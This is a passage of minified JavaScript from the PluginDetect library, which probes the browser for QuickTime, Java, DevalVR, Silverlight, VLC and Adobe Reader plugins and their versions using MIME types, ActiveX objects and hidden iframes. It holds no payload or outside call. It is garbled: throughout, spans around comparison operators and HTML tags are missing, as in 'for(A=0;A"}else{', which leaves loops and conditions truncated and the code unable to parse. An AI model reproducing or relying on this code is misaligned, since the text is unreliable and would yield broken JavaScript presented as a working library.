p=this;if(q&&(/div|span/i).test(q.tagName||"")){if(PluginDetect.browser.isIE){p.setStyle(q,["display","none"])}try{q.innerHTML=""}catch(r){}}},removeNode:function(p){try{if(p&&p.parentNode){p.parentNode.removeChild(p)}}catch(q){}},onUnload:function(u,t){var r,q,s,v,w=t.HTML,p=w.length;if(p){for(q=p-1;q>=0;q--){v=w[q];if(v){w[q]=0;t.emptyNode(v.span());t.removeNode(v.span());v.span=0;v.spanObj=0;v.doc=0;v.objectProperty=0}}}r=t.getDiv();t.emptyNode(r);t.removeNode(r);v=0;s=0;r=0;t.div=0},span:function(){var p=this;if(!p.spanObj){p.spanObj=p.doc.getElementById(p.spanId)}return p.spanObj||null},width:function(){var t=this,s=t.span(),q,r,p=-1;q=s&&PluginDetect.isNum(s.scrollWidth)?s.scrollWidth:p;r=s&&PluginDetect.isNum(s.offsetWidth)?s.offsetWidth:p;s=0;return r>0?r:(q>0?q:Math.max(r,q))},obj:function(){var p=this.span();return p?p.firstChild||null:null},readyState:function(){var p=this;return PluginDetect.browser.isIE&&PluginDetect.isDefined(PluginDetect.pd.getPROP(p.span(),"readyState"))?PluginDetect.pd.getPROP(p.obj(),"readyState"):PluginDetect.UNDEFINED},objectProperty:function(){var r=this,q=r.DOM,p;if(q.isEnabled.objectProperty(r)){p=PluginDetect.pd.getPROP(r.obj(),"object")}return p},onLoadHdlr:function(p,q){q.loaded=1},getTagStatus:function(q,A,E,D,t,H,v){var F=this;if(!q||!q.span()){return -2}var y=q.width(),r=q.obj()?1:0,s=q.readyState(),p=q.objectProperty();if(p){return 1.5}var u=/clsid\s*\:/i,C=E&&u.test(E.outerHTML||"")?E:(D&&u.test(D.outerHTML||"")?D:0),w=E&&!u.test(E.outerHTML||"")?E:(D&&!u.test(D.outerHTML||"")?D:0),z=q&&u.test(q.outerHTML||"")?C:w;if(!A||!A.span()||!z||!z.span()){return -2}var x=z.width(),B=A.width(),G=z.readyState();if(y<0||x<0||B<=F.pluginSize){return 0}if(v&&!q.pi&&PluginDetect.isDefined(p)&&PluginDetect.browser.isIE&&q.tagName==z.tagName&&q.time<=z.time&&y===x&&s===0&&G!==0){q.pi=1}if(x.'+PluginDetect.openTag+"/div>");q=s.getElementById(u)}catch(r){}}p=s.getElementsByTagName("body")[0]||s.body;if(p){p.insertBefore(v,p.firstChild);if(q){p.removeChild(q)}}v=0},iframe:{onLoad:function(p,q){PluginDetect.ev.callArray(p);},insert:function(r,q){var s=this,v=PluginDetect.DOM,p,u=document.createElement("iframe"),t;v.setStyle(u,v.getStyle.iframe());u.width=v.iframeWidth;u.height=v.iframeHeight;v.initDiv();p=v.getDiv();p.appendChild(u);try{s.doc(u).open()}catch(w){}u[PluginDetect.uniqueName()]=[];t=PluginDetect.ev.handlerOnce(PluginDetect.isNum(r)&&r>0?PluginDetect.ev.handlerWait(r,s.onLoad,u[PluginDetect.uniqueName()],q):PluginDetect.ev.handler(s.onLoad,u[PluginDetect.uniqueName()],q));PluginDetect.ev.addEvent(u,"load",t);if(!u.onload){u.onload=t}PluginDetect.ev.addEvent(s.win(u),"load",t);return u},addHandler:function(q,p){if(q){PluginDetect.ev.fPush(p,q[PluginDetect.uniqueName()])}},close:function(p){try{this.doc(p).close()}catch(q){}},write:function(p,r){try{this.doc(p).write(r)}catch(q){}},win:function(p){try{return p.contentWindow}catch(q){}return null},doc:function(p){var r;try{r=p.contentWindow.document}catch(q){}try{if(!r){r=p.contentDocument}}catch(q){}return r||null}},insert:function(t,s,u,p,y,w,v){var D=this,F,E,C,B,A;if(!v){D.initDiv();v=D.getDiv()}if(v){if((/div/i).test(v.tagName)){B=v.ownerDocument}if((/iframe/i).test(v.tagName)){B=D.iframe.doc(v)}}if(B&&B.createElement){}else{B=document}if(!PluginDetect.isDefined(p)){p=""}if(PluginDetect.isString(t)&&(/[^\s]/).test(t)){t=t.toLowerCase().replace(/\s/g,"");F=PluginDetect.openTag+t+" ";F+='style="'+D.getStyle.plugin(w)+'" ';var r=1,q=1;for(A=0;A"}else{F+=">";for(A=0;A'}}F+=p+PluginDetect.openTag+"/"+t+">"}}else{t="";F=p}E={spanId:"",spanObj:null,span:D.span,loaded:null,tagName:t,outerHTML:F,DOM:D,time:new Date().getTime(),width:D.width,obj:D.obj,readyState:D.readyState,objectProperty:D.objectProperty,doc:B};if(v&&v.parentNode){if((/iframe/i).test(v.tagName)){D.iframe.addHandler(v,[D.onLoadHdlr,E]);E.loaded=0;E.spanId=PluginDetect.name+"Span"+D.HTML.length;C=''+F+"";D.iframe.write(v,C)}else{if((/div/i).test(v.tagName)){C=B.createElement("span");D.setStyle(C,D.getStyle.span());v.appendChild(C);try{C.innerHTML=F}catch(z){}E.spanObj=C}}}C=0;v=0;D.HTML.push(E);return E}},file:{any:"fileStorageAny999",valid:"fileStorageValid999",save:function(s,t,r){var q=this,p;if(s&&PluginDetect.isDefined(r)){if(!s[q.any]){s[q.any]=[]}if(!s[q.valid]){s[q.valid]=[]}s[q.any].push(r);p=q.split(t,r);if(p){s[q.valid].push(p)}}},getValidLength:function(p){return p&&p[this.valid]?p[this.valid].length:0},getAnyLength:function(p){return p&&p[this.any]?p[this.any].length:0},getValid:function(r,p){var q=this;return r&&r[q.valid]?q.get(r[q.valid],p):null},getAny:function(r,p){var q=this;return r&&r[q.any]?q.get(r[q.any],p):null},get:function(s,p){var r=s.length-1,q=PluginDetect.isNum(p)?p:r;return(q<0||q>r)?null:s[q]},split:function(t,q){var s=null,p,r;t=t?t.replace(".","\\."):"";r=new RegExp("^(.*[^\\/])("+t+"\\s*)$");if(PluginDetect.isString(q)&&r.test(q)){p=(RegExp.$1).split("/");s={name:p[p.length-1],ext:RegExp.$2,full:q};p[p.length-1]="";s.path=p.join("/")}return s}},Plugins:{}};PluginDetect.init.library();var i={setPluginStatus:function(q,p,s){var r=this;r.version=p?PluginDetect.formatNum(p,3):null;r.installed=r.version?1:(s?(s>0?0.7:-0.1):(q?0:-1));r.getVersionDone=r.installed==0.7||r.installed==-0.1||r.nav.done===0?0:1;},getVersion:function(s,t){var u=this,p=null,r=0,q;t=PluginDetect.browser.isIE?0:t;if((!r||PluginDetect.dbug)&&u.nav.query(t).installed){r=1}if((!p||PluginDetect.dbug)&&u.nav.query(t).version){p=u.nav.version}q=!p?u.codebase.isMin(s):0;if(q){u.setPluginStatus(0,0,q);return}if(!p||PluginDetect.dbug){q=u.codebase.search();if(q){r=1;p=q}}if((!r||PluginDetect.dbug)&&u.axo.query().installed){r=1}if((!p||PluginDetect.dbug)&&u.axo.query().version){p=u.axo.version}u.setPluginStatus(r,p)},nav:{done:null,installed:0,version:null,result:[0,0],mimeType:["video/quicktime","application/x-quicktimeplayer","image/x-macpaint","image/x-quicktime","application/x-rtsp","application/x-sdp","application/sdp","audio/vnd.qcelp","video/sd-video","audio/mpeg","video/mp4","video/3gpp2","application/x-mpeg","audio/x-m4b","audio/x-aac","video/flc"],find:"QuickTime.*Plug-?in",find2:"QuickTime.*Plug-?in",find3filename:"QuickTime|QT",avoid:"Totem|VLC|RealPlayer|Helix|MPlayer|Windows\\s*Media\\s*Player",plugins:"QuickTime Plug-in",detect:function(s){var t=this,r,q,p={installed:0,version:null,plugin:null};r=PluginDetect.pd.findNavPlugin({find:t.find,find2:s?0:t.find2,avoid:s?0:t.avoid,mimes:t.mimeType,plugins:t.plugins});if(r){p.plugin=r;p.installed=1;q=new RegExp(t.find,"i");if(r.name&&q.test(r.name+"")){p.version=PluginDetect.getNum(r.name+"")}}return p},query:function(r){var q=this,t,s;r=r?1:0;if(q.done===null){if(PluginDetect.hasMimeType(q.mimeType)){s=q.detect(1);if(s.installed){t=q.detect(0);q.result=[t,t.installed?t:s]}var x=q.result[0],v=q.result[1],w=new RegExp(q.avoid,"i"),u=new RegExp(q.find3filename,"i"),p;x=x?x.plugin:0;v=v?v.plugin:0;if(!x&&v&&v.name&&(!v.description||(/^[\s]*$/).test(v.description+""))&&!w.test(v.name+"")){p=(v.filename||"")+"";if((/^.*[\\\/]([^\\\/]*)$/).test(p)){p=RegExp.$1;}if(p&&u.test(p)&&!w.test(p)){q.result[0]=q.result[1]}}}q.done=q.result[0]===q.result[1]?1:0;}if(q.result[r]){q.installed=q.result[r].installed;q.version=q.result[r].version}return q}},codebase:{classID:"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B",isMin:function(r){var s=this,q,p=0;s.$$=i;if(PluginDetect.isStrNum(r)){q=r.split(PluginDetect.splitNumRegx);if(q.length>3&&parseInt(q[3],10)>0){q[3]="9999"}r=q.join(",");p=PluginDetect.codebase.isMin(s,r)}return p},search:function(){this.$$=i;return PluginDetect.codebase.search(this)},DIGITMAX:[[12,11,11],[7,60],[7,11,11],0,[7,11,11]],DIGITMIN:[5,0,0,0],Upper:["999","7,60","7,50","7,6","7,5"],Lower:["7,60","7,50","7,6","7,5","0"],convert:[1,function(r,q){return q?[r[0],r[1]+r[2],r[3],"0"]:[r[0],r[1].charAt(0),r[1].charAt(1),r[2]]},1,0,1]},axo:{hasRun:0,installed:0,version:null,progID:["QuickTimeCheckObject.QuickTimeCheck","QuickTimeCheckObject.QuickTimeCheck.1"],progID0:"QuickTime.QuickTime",query:function(){var r=this,t,p,q,s=r.hasRun||!PluginDetect.browser.ActiveXEnabled;r.hasRun=1;if(s){return r}for(p=0;p0?0.7:-0.1):(v?1:(p?-0.2:-1))}if(t.OTF==2&&t.NOTF&&!t.applet.getResult()[0]){t.installed=p?-0.2:-1}if(t.OTF==3&&t.installed!=-0.5&&t.installed!=0.5){t.installed=(t.NOTF.isJavaActive(1)>=1?0.5:-0.5)}if(t.OTF==4&&(t.installed==-0.5||t.installed==0.5)){if(v){t.installed=1}else{if(q){t.installed=q>0?0.7:-0.1}else{if(t.NOTF.isJavaActive(1)>=1){if(p){t.installed=1;v=p}else{t.installed=0}}else{if(p){t.installed=-0.2}else{t.installed=-1}}}}}if(p){t.version0=PluginDetect.formatNum(PluginDetect.getNum(p))}if(v&&!q){t.version=PluginDetect.formatNum(PluginDetect.getNum(v))}if(w&&PluginDetect.isString(w)){t.vendor=w}if(!t.vendor){t.vendor=""}if(t.verify&&t.verify.isEnabled()){t.getVersionDone=0}else{if(t.getVersionDone!=1){if(t.OTF<2){t.getVersionDone=0}else{t.getVersionDone=t.applet.can_Insert_Query_Any()?0:1}}}},DTK:{hasRun:0,status:null,VERSIONS:[],version:"",HTML:null,Plugin2Status:null,classID:["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA","clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],mimeType:["application/java-deployment-toolkit","application/npruntime-scriptable-plugin;DeploymentToolkit"],isDisabled:function(p){var q=this;if(q.HTML){return 1}if(p||PluginDetect.dbug){return 0}if(q.hasRun||!PluginDetect.DOM.isEnabled.objectTagUsingActiveX()){return 1}return 0},query:function(B){var z=this,t=a,A,v,p=PluginDetect.DOM.altHTML,u={},q,s=null,w=null,r=z.isDisabled(B);z.hasRun=1;if(r){return z}z.status=0;if(PluginDetect.DOM.isEnabled.objectTagUsingActiveX()){for(A=0;A0?1:-1;for(A=0;A0){p.version=q;p.mimeObj=s;p.pluginObj=r;p.mimetype=s.type;}}},query:function(){var t=this,s=a,w,v,B,A,z,r,q=navigator.mimeTypes,p=t.isDisabled();t.hasRun=1;if(p){return t}r=q.length;if(PluginDetect.isNum(r)){for(w=0;w=5){p="1,"+RegExp.$1+","+(RegExp.$2?RegExp.$2:"0")+","+(RegExp.$3?RegExp.$3:"0");}return p},getPluginNum:function(){var s=this,q=a,p=0,u,t,r,w,v=0;r=/Java[^\d]*Plug-in/i;w=PluginDetect.pd.findNavPlugin({find:r,num:1,mimes:q.mimeType,plugins:1,dbug:v});if(w){u=s.checkPluginNum(w.description,r);t=s.checkPluginNum(w.name,r);p=u&&t?(PluginDetect.compareNums(u,t)>0?u:t):(u||t)}if(!p){r=/Java.*\d.*Plug-in/i;w=PluginDetect.pd.findNavPlugin({find:r,mimes:q.mimeType,plugins:1,dbug:v});if(w){u=s.checkPluginNum(w.description,r);t=s.checkPluginNum(w.name,r);p=u&&t?(PluginDetect.compareNums(u,t)>0?u:t):(u||t)}}return p},checkPluginNum:function(s,r){var p,q;p=r.test(s)?PluginDetect.formatNum(PluginDetect.getNum(s)):0;if(p&&PluginDetect.compareNums(p,PluginDetect.formatNum("10"))>=0){q=p.split(PluginDetect.splitNumRegx);p=PluginDetect.formatNum("1,"+(parseInt(q[0],10)-3)+",0,"+q[1])}if(p&&(PluginDetect.compareNums(p,PluginDetect.formatNum("1,3"))<0||PluginDetect.compareNums(p,PluginDetect.formatNum("2"))>=0)){p=0}return p},query:function(){var t=this,s=a,r,p=0,q=t.hasRun||!s.navigator.mimeObj;t.hasRun=1;if(q){return t}if(!p||PluginDetect.dbug){r=t.getPlatformNum();if(r){p=r}}if(!p||PluginDetect.dbug){r=t.getPluginNum();if(r){p=r}}if(p){t.version=PluginDetect.formatNum(p)}return t}},applet:{codebase:{isMin:function(p){this.$$=a;return PluginDetect.codebase.isMin(this,p)},search:function(){this.$$=a;return PluginDetect.codebase.search(this)},DIGITMAX:[[15,128],[6,0,512],0,[1,5,2,256],0,[1,4,1,1],[1,4,0,64],[1,3,2,32]],DIGITMIN:[1,0,0,0],Upper:["999","10","5,0,20","1,5,0,20","1,4,1,20","1,4,1,2","1,4,1","1,4"],Lower:["10","5,0,20","1,5,0,20","1,4,1,20","1,4,1,2","1,4,1","1,4","0"],convert:[function(r,q){return q?[parseInt(r[0],10)>1?"99":parseInt(r[1],10)+3+"",r[3],"0","0"]:["1",parseInt(r[0],10)-3+"","0",r[1]]},function(r,q){return q?[r[1],r[2],r[3]+"0","0"]:["1",r[0],r[1],r[2].substring(0,r[2].length-1||1)]},0,function(r,q){return q?[r[0],r[1],r[2],r[3]+"0"]:[r[0],r[1],r[2],r[3].substring(0,r[3].length-1||1)]},0,1,function(r,q){return q?[r[0],r[1],r[2],r[3]+"0"]:[r[0],r[1],r[2],r[3].substring(0,r[3].length-1||1)]},1]},results:[[null,null],[null,null],[null,null],[null,null]],getResult:function(){var q=this,s=q.results,p,r=[];for(p=s.length-1;p>=0;p--){r=s[p];if(r[0]){break}}r=[].concat(r);return r},DummySpanTagHTML:0,HTML:[0,0,0,0],active:[0,0,0,0],DummyObjTagHTML:0,DummyObjTagHTML2:0,allowed:[1,1,1,1],VerifyTagsHas:function(q){var r=this,p;for(p=0;pp-1&&PluginDetect.isNum(r[p-1])){if(r[p-1]<0){r[p-1]=0}if(r[p-1]>3){r[p-1]=3}q.allowed[p]=r[p-1]}}q.allowed[0]=q.allowed[3];}},setVerifyTagsArray:function(r){var q=this,p=a;if(p.getVersionDone===null){q.saveAsVerifyTagsArray(p.getVerifyTagsDefault())}if(PluginDetect.dbug){q.saveAsVerifyTagsArray([3,3,3])}else{if(r){q.saveAsVerifyTagsArray(r)}}},isDisabled:{single:function(q){var p=this;if(p.all()){return 1}if(q==1){return !PluginDetect.DOM.isEnabled.objectTag()}if(q==2){return p.AppletTag()}if(q===0){return PluginDetect.codebase.isDisabled()}if(q==3){return !PluginDetect.DOM.isEnabled.objectTagUsingActiveX()}return 1},all_:null,all:function(){var r=this,t=a,q=t.navigator,p,s=PluginDetect.browser;if(r.all_===null){if((s.isOpera&&PluginDetect.compareNums(s.verOpera,"13,0,0,0")<0&&!q.javaEnabled())||(r.AppletTag()&&!PluginDetect.DOM.isEnabled.objectTag())||(!q.mimeObj&&!s.isIE)){p=1}else{p=0}r.all_=p}return r.all_},AppletTag:function(){var q=a,p=q.navigator;return PluginDetect.browser.isIE?!p.javaEnabled():0},VerifyTagsDefault_1:function(){var q=PluginDetect.browser,p=1;if(q.isIE&&!q.ActiveXEnabled){p=0}if((q.isIE&&q.verIE<9)||(q.verGecko&&PluginDetect.compareNums(q.verGecko,PluginDetect.formatNum("2"))<0)||(q.isSafari&&(!q.verSafari||PluginDetect.compareNums(q.verSafari,PluginDetect.formatNum("4"))<0))||(q.isOpera&&PluginDetect.compareNums(q.verOpera,PluginDetect.formatNum("11"))<0)){p=0}return p}},can_Insert_Query:function(s){var q=this,r=q.results[0][0],p=q.getResult()[0];if(q.HTML[s]||(s===0&&r!==null&&!q.isRange(r))||(s===0&&p&&!q.isRange(p))){return 0}return !q.isDisabled.single(s)},can_Insert_Query_Any:function(){var q=this,p;for(p=0;p0||!r.isRange(p));if(!r.can_Insert_Query(s)||t[s]===0){return 0}if(t[s]==3||(t[s]==2.8&&!p)){return 1}if(!q.nonAppletDetectionOk(q.version0)){if(t[s]==2||(t[s]==1&&!p)){return 1}}return 0},should_Insert_Query_Any:function(){var q=this,p;for(p=0;p]/).test(p||"")?(p.charAt(0)==">"?1:-1):0},setRange:function(q,p){return(q?(q>0?">":"<"):"")+(PluginDetect.isString(p)?p:"")},insertJavaTag:function(z,w,p,s,D){var t=a,v="A.class",A=PluginDetect.file.getValid(t),y=A.name+A.ext,x=A.path;var u=["archive",y,"code",v],E=(s?["width",s]:[]).concat(D?["height",D]:[]),r=["mayscript","true"],C=["scriptable","true","codebase_lookup","false"].concat(r),B=t.navigator,q=!PluginDetect.browser.isIE&&B.mimeObj&&B.mimeObj.type?B.mimeObj.type:t.mimeType[0];if(z==1){return PluginDetect.browser.isIE?PluginDetect.DOM.insert("object",["type",q].concat(E),["codebase",x].concat(u).concat(C),p,t,0,w):PluginDetect.DOM.insert("object",["type",q].concat(E),["codebase",x].concat(u).concat(C),p,t,0,w)}if(z==2){return PluginDetect.browser.isIE?PluginDetect.DOM.insert("applet",["alt",p].concat(r).concat(u).concat(E),["codebase",x].concat(C),p,t,0,w):PluginDetect.DOM.insert("applet",["codebase",x,"alt",p].concat(r).concat(u).concat(E),[].concat(C),p,t,0,w)}if(z==3){return PluginDetect.browser.isIE?PluginDetect.DOM.insert("object",["classid",t.classID].concat(E),["codebase",x].concat(u).concat(C),p,t,0,w):PluginDetect.DOM.insert()}if(z==4){return PluginDetect.DOM.insert("embed",["codebase",x].concat(u).concat(["type",q]).concat(C).concat(E),[],p,t,0,w)}return PluginDetect.DOM.insert()},insertIframe:function(p){return PluginDetect.DOM.iframe.insert(99,p)},insert_Query_Any:function(w){var q=this,r=a,y=PluginDetect.DOM,u=q.results,x=q.HTML,p=y.altHTML,t,s,v=PluginDetect.file.getValid(r);if(q.should_Insert_Query(0)){if(r.OTF<2){r.OTF=2}u[0]=[0,0];t=w?q.codebase.isMin(w):q.codebase.search();if(t){u[0][0]=w?q.setRange(t,w):t}q.active[0]=t?1.5:-1}if(!v){return q.getResult()}if(!q.DummySpanTagHTML){s=q.insertIframe("applet.DummySpanTagHTML");q.DummySpanTagHTML=y.insert("",[],[],p,0,0,s);y.iframe.close(s)}if(q.should_Insert_Query(1)){if(r.OTF<2){r.OTF=2}s=q.insertIframe("applet.HTML[1]");x[1]=q.insertJavaTag(1,s,p);y.iframe.close(s);u[1]=[0,0];q.query(1)}if(q.should_Insert_Query(2)){if(r.OTF<2){r.OTF=2}s=q.insertIframe("applet.HTML[2]");x[2]=q.insertJavaTag(2,s,p);y.iframe.close(s);u[2]=[0,0];q.query(2)}if(q.should_Insert_Query(3)){if(r.OTF<2){r.OTF=2}s=q.insertIframe("applet.HTML[3]");x[3]=q.insertJavaTag(3,s,p);y.iframe.close(s);u[3]=[0,0];q.query(3)}if(y.isEnabled.objectTag()){if(!q.DummyObjTagHTML&&(x[1]||x[2])){s=q.insertIframe("applet.DummyObjTagHTML");q.DummyObjTagHTML=y.insert("object",["type",r.mimeType_dummy],[],p,0,0,s);y.iframe.close(s)}if(!q.DummyObjTagHTML2&&x[3]){s=q.insertIframe("applet.DummyObjTagHTML2");q.DummyObjTagHTML2=y.insert("object",["classid",r.classID_dummy],[],p,0,0,s);y.iframe.close(s)}}r.NOTF.init();return q.getResult()}},NOTF:{count:0,count2:0,countMax:25,intervalLength:250,init:function(){var q=this,p=a;if(p.OTF<3&&q.shouldContinueQuery()){p.OTF=3;PluginDetect.ev.setTimeout(q.onIntervalQuery,q.intervalLength);}},allHTMLloaded:function(){var r=a.applet,q,p=[r.DummySpanTagHTML,r.DummyObjTagHTML,r.DummyObjTagHTML2].concat(r.HTML);for(q=0;q2){return p}}else{t.count2=t.count}for(q=0;q=2||(r.allowed[q]==1&&!r.getResult()[0]))&&(!t.count||t.isAppletActive(q)>=0)){p=1}}}return p},isJavaActive:function(s){var u=this,r=a,p,q,t=-9;for(p=0;pt){t=q}}return t},isAppletActive:function(t,u){var v=this,q=a,A=q.navigator,p=q.applet,w=p.HTML[t],s=p.active,z,r=0,y,B=s[t];if(u||B>=1.5||!w||!w.span()){return B}y=PluginDetect.DOM.getTagStatus(w,p.DummySpanTagHTML,p.DummyObjTagHTML,p.DummyObjTagHTML2,v.count);for(z=0;z0){r=1}}if(y!=1){B=y}else{if(PluginDetect.browser.isIE||(q.version0&&A.javaEnabled()&&A.mimeObj&&(w.tagName=="object"||r))){B=1}else{B=0}}s[t]=B;return B},onIntervalQuery:function(){var q=a.NOTF,p;q.count++;if(a.OTF==3){p=q.queryAllApplets();if(!q.shouldContinueQuery()){q.queryCompleted(p)}}if(a.OTF==3){PluginDetect.ev.setTimeout(q.onIntervalQuery,q.intervalLength)}},queryAllApplets:function(){var t=this,s=a,r=s.applet,q,p;for(q=0;q=4){return}q.OTF=4;r.isJavaActive();q.setPluginStatus(p[0],p[1],0);PluginDetect.ev.callArray(q.DoneHndlrs);}}};PluginDetect.addPlugin("java",a);var m={getVersion:function(){var r=this,p=null,q;if((!q||PluginDetect.dbug)&&r.nav.query().installed){q=1}if((!p||PluginDetect.dbug)&&r.nav.query().version){p=r.nav.version}if((!q||PluginDetect.dbug)&&r.axo.query().installed){q=1}if((!p||PluginDetect.dbug)&&r.axo.query().version){p=r.axo.version}r.installed=p?1:(q?0:-1);r.version=PluginDetect.formatNum(p)},nav:{hasRun:0,installed:0,version:null,mimeType:"application/x-devalvrx",query:function(){var s=this,p,r,q=s.hasRun||!PluginDetect.hasMimeType(s.mimeType);s.hasRun=1;if(q){return s}r=PluginDetect.pd.findNavPlugin({find:"DevalVR.*Plug-?in",mimes:s.mimeType,plugins:"DevalVR 3D Plugin"});if(r&&(/Plug-?in(.*)/i).test(r.description||"")){p=PluginDetect.getNum(RegExp.$1)}if(r){s.installed=1}if(p){s.version=p}return s}},axo:{hasRun:0,installed:0,version:null,progID:["DevalVRXCtrl.DevalVRXCtrl","DevalVRXCtrl.DevalVRXCtrl.1"],classID:"clsid:5D2CF9D0-113A-476B-986F-288B54571614",query:function(){var s=this,v=m,q,p,u,r,t=s.hasRun;s.hasRun=1;if(t){return s}for(p=0;p=30226){p[0]="2"}q=p.join(",")}if(q){t.version=q}return t}},axo:{hasRun:0,installed:0,version:null,progID:"AgControl.AgControl",maxdigit:[20,10,10,100,100,10],mindigit:[0,0,0,0,0,0],IsVersionSupported:function(s,q){var p=this;try{return p.testVersion?PluginDetect.compareNums(PluginDetect.formatNum(p.testVersion.join(",")),PluginDetect.formatNum(q.join(",")))>=0:s.IsVersionSupported(p.format(q))}catch(r){}return 0},format:function(q){var p=this;return(q[0]+"."+q[1]+"."+q[2]+p.make2digits(q[3])+p.make2digits(q[4])+"."+q[5])},make2digits:function(p){return(p<10?"0":"")+p+""},query:function(){var r=this,q,v,s=r.hasRun;r.hasRun=1;if(s){return r}v=PluginDetect.getAXO(r.progID);if(v){r.installed=1}if(v&&r.IsVersionSupported(v,r.mindigit)){var p=[].concat(r.mindigit),u,t=0;for(q=0;q1&&u<20){u++;t++;p[q]=Math.round((r.maxdigit[q]+r.mindigit[q])/2);if(r.IsVersionSupported(v,p)){r.mindigit[q]=p[q]}else{r.maxdigit[q]=p[q]}}p[q]=r.mindigit[q]}r.version=r.format(p);}return r}}};PluginDetect.addPlugin("silverlight",h);var f={compareNums:function(s,r){var A=s.split(PluginDetect.splitNumRegx),y=r.split(PluginDetect.splitNumRegx),w,q,p,v,u,z;for(w=0;w0)?RegExp.$2.charCodeAt(0):-1;z=/([\d]+)([a-z]?)/.test(y[w]);p=parseInt(RegExp.$1,10);u=(w==2&&RegExp.$2.length>0)?RegExp.$2.charCodeAt(0):-1;if(q!=p){return(q>p?1:-1)}if(w==2&&v!=u){return(v>u?1:-1)}}return 0},setPluginStatus:function(r,p,s){var q=this;q.installed=p?1:(s?(s>0?0.7:-0.1):(r?0:-1));if(p){q.version=PluginDetect.formatNum(p)}q.getVersionDone=q.installed==0.7||q.installed==-0.1?0:1;},getVersion:function(s){var t=this,r,p=null,q;if((!r||PluginDetect.dbug)&&t.nav.query().installed){r=1}if((!p||PluginDetect.dbug)&&t.nav.query().version){p=t.nav.version}if((!r||PluginDetect.dbug)&&t.axo.query().installed){r=1}if((!p||PluginDetect.dbug)&&t.axo.query().version){p=t.axo.version}if(!p||PluginDetect.dbug){q=t.codebase.isMin(s);if(q){t.setPluginStatus(0,0,q);return}}if(!p||PluginDetect.dbug){q=t.codebase.search();if(q){r=1;p=q}}t.setPluginStatus(r,p,0)},nav:{hasRun:0,installed:0,version:null,mimeType:["application/x-vlc-plugin","application/x-google-vlc-plugin","application/mpeg4-muxcodetable","application/x-matroska","application/xspf+xml","video/divx","video/webm","video/x-mpeg","video/x-msvideo","video/ogg","audio/x-flac","audio/amr","audio/amr"],find:"VLC.*Plug-?in",find2:"VLC|VideoLAN",avoid:"Totem|Helix",plugins:["VLC Web Plugin","VLC Multimedia Plug-in","VLC Multimedia Plugin","VLC multimedia plugin"],query:function(){var s=this,p,r,q=s.hasRun||!PluginDetect.hasMimeType(s.mimeType);s.hasRun=1;if(q){return s}r=PluginDetect.pd.findNavPlugin({find:s.find,avoid:s.avoid,mimes:s.mimeType,plugins:s.plugins});if(r){s.installed=1;if(r.description){p=PluginDetect.getNum(r.description+"","[\\d][\\d\\.]*[a-z]*")}if(p){s.version=p}}return s}},axo:{hasRun:0,installed:0,version:null,progID:"VideoLAN.VLCPlugin",query:function(){var q=this,s,p,r=q.hasRun;q.hasRun=1;if(r){return q}s=PluginDetect.getAXO(q.progID);if(s){q.installed=1;p=PluginDetect.getNum(PluginDetect.pd.getPROP(s,"VersionInfo"),"[\\d][\\d\\.]*[a-z]*");if(p){q.version=p}}return q}},codebase:{classID:"clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921",isMin:function(p){this.$$=f;return PluginDetect.codebase.isMin(this,p)},search:function(){this.$$=f;return PluginDetect.codebase.search(this)},DIGITMAX:[[11,11,16]],DIGITMIN:[0,0,0,0],Upper:["999"],Lower:["0"],convert:[1]}};PluginDetect.addPlugin("vlc",f);var c={OTF:null,setPluginStatus:function(){var p=this,B=p.OTF,v=p.nav.detected,x=p.nav.version,z=p.nav.precision,C=z,u=x,s=v>0;var H=p.axo.detected,r=p.axo.version,w=p.axo.precision,D=p.doc.detected,G=p.doc.version,t=p.doc.precision,E=p.doc2.detected,F=p.doc2.version,y=p.doc2.precision;u=F||u||r||G;C=y||C||w||t;s=E>0||s||H>0||D>0;u=u||null;p.version=PluginDetect.formatNum(u);p.precision=C;var q=-1;if(B==3){q=p.version?0.5:-0.5}else{if(u){q=1}else{if(s){q=0}else{if(H==-0.5||D==-0.5){q=-0.15}else{if(PluginDetect.browser.isIE&&(!PluginDetect.browser.ActiveXEnabled||PluginDetect.browser.ActiveXFilteringEnabled)){q=-1.5}}}}}p.installed=q;if(p.getVersionDone!=1){var A=1;if((p.verify&&p.verify.isEnabled())||p.installed==0.5||p.installed==-0.5){A=0}else{if(p.doc2.isDisabled()==1){A=0}}p.getVersionDone=A}},getVersion:function(s,r){var p=this,q=0,t=p.verify;if(p.getVersionDone===null){p.OTF=0;if(t){t.init()}}PluginDetect.file.save(p,".pdf",r);if(p.getVersionDone===0){p.doc2.insertHTMLQuery();p.setPluginStatus();return}if((!q||PluginDetect.dbug)&&p.nav.query().version){q=1}if((!q||PluginDetect.dbug)&&p.axo.query().version){q=1}if((!q||PluginDetect.dbug)&&p.doc.query().version){q=1}if(1){p.doc2.insertHTMLQuery()}p.setPluginStatus()},getPrecision:function(v,u,t){if(PluginDetect.isString(v)){u=u||"";t=t||"";var q,s="\\d+",r="[\\.]",p=[s,s,s,s];for(q=4;q>0;q--){if((new RegExp(u+p.slice(0,q).join(r)+t)).test(v)){return q}}}return 0},nav:{detected:0,version:null,precision:0,mimeType:["application/pdf","application/vnd.adobe.pdfxml"],find:"Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in",plugins:["Adobe Acrobat","Adobe Acrobat and Reader Plug-in","Adobe Reader Plugin"],query:function(){var r=this,q,p=null;if(r.detected||!PluginDetect.hasMimeType(r.mimeType)){return r}q=PluginDetect.pd.findNavPlugin({find:r.find,mimes:r.mimeType,plugins:r.plugins});r.detected=q?1:-1;if(q){p=PluginDetect.getNum(q.description)||PluginDetect.getNum(q.name);p=PluginDetect.getPluginFileVersion(q,p);if(!p){p=r.attempt3()}if(p){r.version=p;r.precision=c.getPrecision(p)}}return r},attempt3:function(){var p=null;if(PluginDetect.OS==1){if(PluginDetect.hasMimeType("application/vnd.adobe.pdfxml")){p="9"}else{if(PluginDetect.hasMimeType("application/vnd.adobe.x-mars")){p="8"}else{if(PluginDetect.hasMimeType("application/vnd.adobe.xfdf")){p="6"}}}}return p}},activexQuery:function(w){var u="",t,q,s,r,p={precision:0,version:null};try{if(w){u=w.GetVersions()+"";}}catch(v){}if(u&&PluginDetect.isString(u)){t=/\=\s*[\d\.]+/g;r=u.match(t);if(r){for(q=0;q0)){p.version=s}}p.precision=c.getPrecision(u,"\\=\\s*")}}return 